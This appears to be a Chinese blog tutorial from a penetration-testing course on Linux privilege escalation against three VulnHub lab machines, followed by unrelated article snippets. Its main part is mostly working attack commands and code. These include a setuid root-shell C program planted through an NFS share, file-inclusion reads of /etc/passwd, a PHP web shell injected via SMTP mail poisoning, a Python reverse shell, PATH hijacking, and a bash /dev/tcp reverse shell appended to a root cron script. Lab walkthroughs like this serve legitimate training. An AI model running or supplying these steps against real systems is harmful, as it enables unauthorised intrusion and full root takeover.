DAY140权限提升-Linux系统权限提升篇VulnhubPATH变量NFS服务Cron任务配合SUID
一、演示案例-Linux系统提权-Web&普通用户-SUID-NFS安全
NFS是一种基于TCP/IP 传输的网络文件系统协议,通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源。
https://www.virtualbox.org/wiki/Downloads
https://www.vulnhub.com/entry/hacksudo-2-hackdudo,667/
前提条件:NFS端口服务开启和web或用户权限进行利用
1、信息收集
nmap 192.168.1.6
http://192.168.1.6/file.php?file=/etc/passwd

2、NFS服务利用
showmount -e 192.168.1.6
//用于显示NFS(网络文件系统)服务器上所有已导出的文件系统列表的命令

mkdir nfs //本地kali创建一个nfs目录
mount -t nfs 192.168.1.6:/mnt/nfs ./nfs //把目标的/mnt/nfs目录跟kali本地的nfs目录进行同步



3、配合SUID提权


find / -perm -u=s -type f 2>/dev/null //查看本地suid权限的文件
两种解决方式:1、找一个与目标版本相似的系统,上传这个系统的find 2、找一个与目标版本相似的系统,自己写一个c语言去调用命令
getroot.c
#include<stdlib.h>
#include<unistd.h>
int main()
{
setuid(0);
system("id");
system("/bin/bash");
}

gcc getroot.c -o getroot
//把getroot.c编译为getroot可执行文件

cp getroot /root/nfs //复制bash到挂载目录下
chmod +777 getroot //赋予777权限
chmod +s getroot //赋予suid权限
find / -perm -u=s -type f 2>/dev/null //使用查看当前suid权限看看是否有/mnt/nfs/getroot文件
cd /mnt/nfs //目标机来到/mnt/nfs目录下
./getroot //目标机执行getroot文件触发shell
python -c 'import pty; pty.spawn("/bin/bash")' //python起一个交互式终端

getroot.c
#include<stdlib.h>
#include<unistd.h>
int main()
{
setuid(0);
system("id");
system("whoami"); //whoami就是要执行的命令
}

二、演示案例-Linux系统提权-普通用户-SUID-PATH变量
复现环境:symfonos: 1 ~ VulnHub
前提条件:存在SUID的应用中能执行额外命令加用户权限
1、信息收集
smbclient -L 192.168.139.153

2、权限获取
smbclient //192.168.139.153/anonymous

smbclient //192.168.139.153/helios -U helios
helios \ qwerty

3、漏洞利用
wpscan --url http://192.168.139.153/h3l105/ --plugins-detection aggressive

searchsploit mail masta 1.0 //利用searchsploit搜索mail漏洞或者百度关键字

http://192.168.139.153/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

telnet 192.168.139.153 25
MAIL FROM: MALABIS
RCPT TO: helios
data
<?php system($_GET['shell']); ?>
.
QUIT

http://192.168.139.153/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&shell=
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.139.128",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

4、权限提升
python -c 'import pty;pty.spawn("/bin/bash")' //python起一个交互终端
find / -perm -u=s -type f 2>/dev/null //查看当前环境suid

strings /opt/statuscheck //查看这个文件的内容,寻找有用信息

cd /tmp
echo "/bin/sh" > curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH


/opt/statuscheck

三、演示案例-Linux系统提权-Web&普通用户-Cron计划任务
复现环境:Jarbas: 1 ~ VulnHub
1、信息收集
http://192.168.139.152/access.html

2、权限获取
http://192.168.139.152:8080/




3、权限提升
cat /etc/crontab //查看当前服务器的计划任务

ls -lia /etc/script/CleaningScript.sh //查看对该任务文件的权限
echo "/bin/bash -i >& /dev/tcp/192.168.139.141/66 0>&1" >> /etc/script/CleaningScript.sh //把反弹shell命令写进这个文件里
cat /etc/script/CleaningScript.sh //查看脚本内容

相关文章:
DAY140权限提升-Linux系统权限提升篇VulnhubPATH变量NFS服务Cron任务配合SUID
一、演示案例-Linux系统提权-Web&普通用户-SUID-NFS安全 NFS是一种基于TCP/IP 传输的网络文件系统协议,通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源。 https://www.virtualbox.org/wiki/Downloads https://www.vuln…...
HTTPS 的应用数据是如何保证完整性的?
在 HTTPS 中,确保 应用数据的完整性 是通过以下几个关键机制来实现的: 消息认证码(MAC):用于确保数据在传输过程中未被篡改。加密:通过加密数据防止数据被窃取,并与 MAC 配合使用,确…...
Unity ShaderLab 实现3D物体描边
实现思路: 给物体添加第二个材质球,在shader的顶点着色器中使顶点的位置变大,然后在片元着色器中输出描边颜色。 shader Graph实现如下: ShaderLab实现如下: Shader "Custom/Outline" {Properties{[HDR]_…...
SQL进阶——C++与SQL进阶实践
在C开发中,SQL数据库的操作是开发者常见的任务之一。虽然前面我们已经介绍了如何在C中通过数据库连接执行基本的SQL查询,但在实际项目中,我们通常需要更加复杂和高效的数据库操作。存储过程与函数的调用、复杂SQL查询的编写、以及动态构造SQL…...
AIGC--------AIGC在医疗健康领域的潜力
AIGC在医疗健康领域的潜力 引言 AIGC(Artificial Intelligence Generated Content,人工智能生成内容)是一种通过深度学习和自然语言处理(NLP)等技术生成内容的方式。近年来,AIGC在医疗健康领域展现出了极…...
node.js中实现MySQL的增量备份
有时候,我们需要对生产库进行备份,不要求实时性很高,大概每天一次就行,为性能考虑,只备份最新更改内容,即增量备份即可,这种场景下对DB的设计和备份语句有所要求。 首先要求按源表各字段定义目标…...
Java线程池提交任务流程底层源码与源码解析
前言 嘿,各位技术爱好者们,今天咱们来聊聊Java线程池提交任务的底层源码与源码解析。作为一个资深的Java开发者,我相信你一定对线程池并不陌生。线程池作为并发编程中的一大利器,其重要性不言而喻。今天,我将以对话的…...
新型大语言模型的预训练与后训练范式,Meta的Llama 3.1语言模型
前言:大型语言模型(LLMs)的发展历程可以说是非常长,从早期的GPT模型一路走到了今天这些复杂的、公开权重的大型语言模型。最初,LLM的训练过程只关注预训练,但后来逐步扩展到了包括预训练和后训练在内的完整…...
硬菜3道+馒头
硬菜3道 1、可乐鸡翅 》鸡翅滑刀酱油耗油胡椒粉盐》 搅拌腌制3-5分钟 》油锅,直到2面煎黄 》倒入可乐,到大火收汁,出锅 2、洋葱牛肉 》冻牛肉切薄酱油耗油胡椒粉盐 》手指摇匀 》加入生粉水,继续摇匀》直到粘稠 》油锅牛肉炒半熟&…...
YOLO系列论文综述(从YOLOv1到YOLOv11)【第14篇:YOLOv11——在速度和准确性方面具有无与伦比的性能】
YOLOv11 1 摘要2 改进点3 模型性能4 模型架构 YOLO系列博文: 【第1篇:概述物体检测算法发展史、YOLO应用领域、评价指标和NMS】【第2篇:YOLO系列论文、代码和主要优缺点汇总】【第3篇:YOLOv1——YOLO的开山之作】【第4篇ÿ…...
【Spring】聊聊@EventListener注解原理
1.一个Demo出发 在平时的开发中,其实编写同步线程代码是比较容易的,但是如何将一些操作和另外一些操作进行解除耦合,而事件方式 是一种很好的解耦合方式,比如当一个用户注销一个APP之后,需要发送一些短信 让他引流回来…...
LangChain——HTML文本分割 多种文本分割
Text Splitters 文本分割器 加载文档后,您通常会想要对其进行转换以更好地适合您的应用程序。最简单的例子是,您可能希望将长文档分割成更小的块,以适合模型的上下文窗口。 LangChain 有许多内置的文档转换器,可以轻松地拆分、组…...
梯度爆炸与消失
梯度爆炸和梯度消失 一、概念解析 (一)梯度爆炸 定义 在深度神经网络训练的反向传播过程中,梯度爆炸是指梯度的值过大的现象。这会使模型的参数更新出现异常。 产生原因 深层网络与链式法则:深度神经网络按链式法则计算某层权重…...
关于扩散方程的解
1-D 扩散方程的形式 Cauchy齐次方程 这个解无积分无级数,很简单的形式 美其名曰:基本解。 把基本解和初值做卷积,就得到cauchy方程的解。...
如何监控Elasticsearch集群状态?
大家好,我是锋哥。今天分享关于【如何监控Elasticsearch集群状态?】面试题。希望对大家有帮助; 如何监控Elasticsearch集群状态? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 监控 Elasticsearch 集群的状态对于确保…...
关于音频 DSP 的接口种类以及其应用场景介绍
在音频系统中,DSP(数字信号处理器)扮演着重要角色,通常会通过不同的接口与音频系统中的其他组件(如功放、扬声器、音频源等)进行连接。以汽车应用场景为例,以下是一些常见的接口类型分类及其介绍…...
arkTS:持久化储存UI状态的基本用法(PersistentStorage)
arkUI:持久化储存UI状态的基本用法(PersistentStorage) 1 主要内容说明2 例子2.1 持久化储存UI状态的基本用法(PersistentStorage)2.1.1 源码1的相关说明2.1.1.1 数据存储2.1.1.2 数据读取2.1.1.3 动态更新2.1.1.4 显示…...
css—动画
一、背景 本文章是用于解释上一篇文章中的问题,如果会动画的小伙伴就不用再次来看了,本文主要讲解一下动画的设定规则,以及如何在元素中添加动画,本文会大篇幅的讲解一下,动画属性。注意,这是css3的内容&am…...
YOLO系列论文综述(从YOLOv1到YOLOv11)【第12篇:YOLOv9——可编程梯度信息(PGI)+广义高效层聚合网络(GELAN)】
YOLOv9 1 摘要2 改进点3 网络架构 YOLO系列博文: 【第1篇:概述物体检测算法发展史、YOLO应用领域、评价指标和NMS】【第2篇:YOLO系列论文、代码和主要优缺点汇总】【第3篇:YOLOv1——YOLO的开山之作】【第4篇:YOLOv2—…...
【ETCD】etcd简单入门之基础操作基于etcdctl进行操作
这里将使用etcdctl命令行工具来进行演示, 1、使用put命令向etcd写入kv对 使用etcdctl put命令来设置键值对。put命令接受两个参数:键和值 使用方法: NAME:put - Puts the given key into the storeUSAGE:etcdctl put [options] <key&g…...
手游刚开服就被攻击怎么办?如何防御DDoS?
开服初期是手游最脆弱的阶段,极易成为DDoS攻击的目标。一旦遭遇攻击,可能导致服务器瘫痪、玩家流失,甚至造成巨大经济损失。本文为开发者提供一套简洁有效的应急与防御方案,帮助快速应对并构建长期防护体系。 一、遭遇攻击的紧急应…...
golang循环变量捕获问题
在 Go 语言中,当在循环中启动协程(goroutine)时,如果在协程闭包中直接引用循环变量,可能会遇到一个常见的陷阱 - 循环变量捕获问题。让我详细解释一下: 问题背景 看这个代码片段: fo…...
Go 语言接口详解
Go 语言接口详解 核心概念 接口定义 在 Go 语言中,接口是一种抽象类型,它定义了一组方法的集合: // 定义接口 type Shape interface {Area() float64Perimeter() float64 } 接口实现 Go 接口的实现是隐式的: // 矩形结构体…...
【git】把本地更改提交远程新分支feature_g
创建并切换新分支 git checkout -b feature_g 添加并提交更改 git add . git commit -m “实现图片上传功能” 推送到远程 git push -u origin feature_g...
Python如何给视频添加音频和字幕
在Python中,给视频添加音频和字幕可以使用电影文件处理库MoviePy和字幕处理库Subtitles。下面将详细介绍如何使用这些库来实现视频的音频和字幕添加,包括必要的代码示例和详细解释。 环境准备 在开始之前,需要安装以下Python库:…...
Angular微前端架构:Module Federation + ngx-build-plus (Webpack)
以下是一个完整的 Angular 微前端示例,其中使用的是 Module Federation 和 npx-build-plus 实现了主应用(Shell)与子应用(Remote)的集成。 🛠️ 项目结构 angular-mf/ ├── shell-app/ # 主应用&…...
Pinocchio 库详解及其在足式机器人上的应用
Pinocchio 库详解及其在足式机器人上的应用 Pinocchio (Pinocchio is not only a nose) 是一个开源的 C 库,专门用于快速计算机器人模型的正向运动学、逆向运动学、雅可比矩阵、动力学和动力学导数。它主要关注效率和准确性,并提供了一个通用的框架&…...
Redis的发布订阅模式与专业的 MQ(如 Kafka, RabbitMQ)相比,优缺点是什么?适用于哪些场景?
Redis 的发布订阅(Pub/Sub)模式与专业的 MQ(Message Queue)如 Kafka、RabbitMQ 进行比较,核心的权衡点在于:简单与速度 vs. 可靠与功能。 下面我们详细展开对比。 Redis Pub/Sub 的核心特点 它是一个发后…...
【分享】推荐一些办公小工具
1、PDF 在线转换 https://smallpdf.com/cn/pdf-tools 推荐理由:大部分的转换软件需要收费,要么功能不齐全,而开会员又用不了几次浪费钱,借用别人的又不安全。 这个网站它不需要登录或下载安装。而且提供的免费功能就能满足日常…...
MacOS下Homebrew国内镜像加速指南(2025最新国内镜像加速)
macos brew国内镜像加速方法 brew install 加速formula.jws.json下载慢加速 🍺 最新版brew安装慢到怀疑人生?别怕,教你轻松起飞! 最近Homebrew更新至最新版,每次执行 brew 命令时都会自动从官方地址 https://formulae.…...

